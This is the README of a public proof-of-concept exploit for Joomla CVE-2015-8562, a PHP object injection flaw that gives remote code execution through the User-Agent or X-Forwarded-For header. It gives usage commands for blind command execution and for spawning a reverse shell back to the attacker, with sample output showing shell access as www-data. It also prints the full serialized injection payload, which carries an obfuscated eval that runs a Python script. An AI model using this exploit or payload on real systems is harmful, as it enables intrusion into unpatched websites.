Joomla_CVE-2015-8562

A proof of concept for Joomla’s CVE-2015-8562 vulnerability (Object Injection RCE)

Intro/Changelog

This PoC is the second version of the implementation hosted at exploit-db.

-Fixed (regenerate session)
-Added the option to switch from X-Forwarded-For to User-Agent method
-Added the option to switch from a python reverse shell to a bash one
-Added catching exception for missing http schema and script termination
-Edited for a better usage, better messages and colors
-TODO: adding msf support

How to Use

git clone https://github.com/VoidSec/Joomla_CVE-2015-8562.git
cd Joomla_CVE-2015-8562

Blind RCE:

python joomla-cve-2015-8562.py -t http://<target_ip>/ --cmd
$ touch /tmp/test

Spawn Reverse Shell:

python joomla-cve-2015-8562.py -t http://<target_ip>/ -l <local_ip> -p <local_port>
[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://<target_ip>/
[-] Uploading python reverse shell
<Response [200]>
[+] Spawning reverse shell....
<Response [200]>
Listening on [0.0.0.0] (family 0, port 1337)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2015-8562

In December 2015 a new vulnerability was found in Joomla. It allows a remote attacker to exploit PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header.

This vulnerability target Joomla 1.5.0 through 3.4.5 and PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13 CVE-2015-6835.

I’ve made this blog post explaining the vulnerability.

This is what the sent header looks like

}__test|O:21:"JDatabaseDriverMysqli":3:{
    s:2:"fc";
    O:17:"JSimplepieFactory":0:{}
    s:21:"\0\0\0disconnectHandlers";
    a:1:{
        i:0;
        a:2:{
            i:0;
            O:9:"SimplePie":5:{
                s:8:"sanitize";
                O:20:"JDatabaseDriverMysql":0:{}
                s:8:"feed_url";
                s:305:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(112).chr(121).chr(116).chr(104).chr(111).chr(110).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(76).chr(56).chr(51).chr(55).chr(66).chr(72).chr(46).chr(112).chr(121).chr(39).chr(41).chr(59));
                JFactory::getConfig();
                exit";
                s:19:"cache_name_function";
                s:6:"assert";
                s:5:"cache";
                b:1;s:11:"cache_class";
                O:20:"JDatabaseDriverMysql":0:{}
                }
            i:1;
            s:4:"init";
            }
        }
    s:13:"\0\0\0connection";
    b:1;
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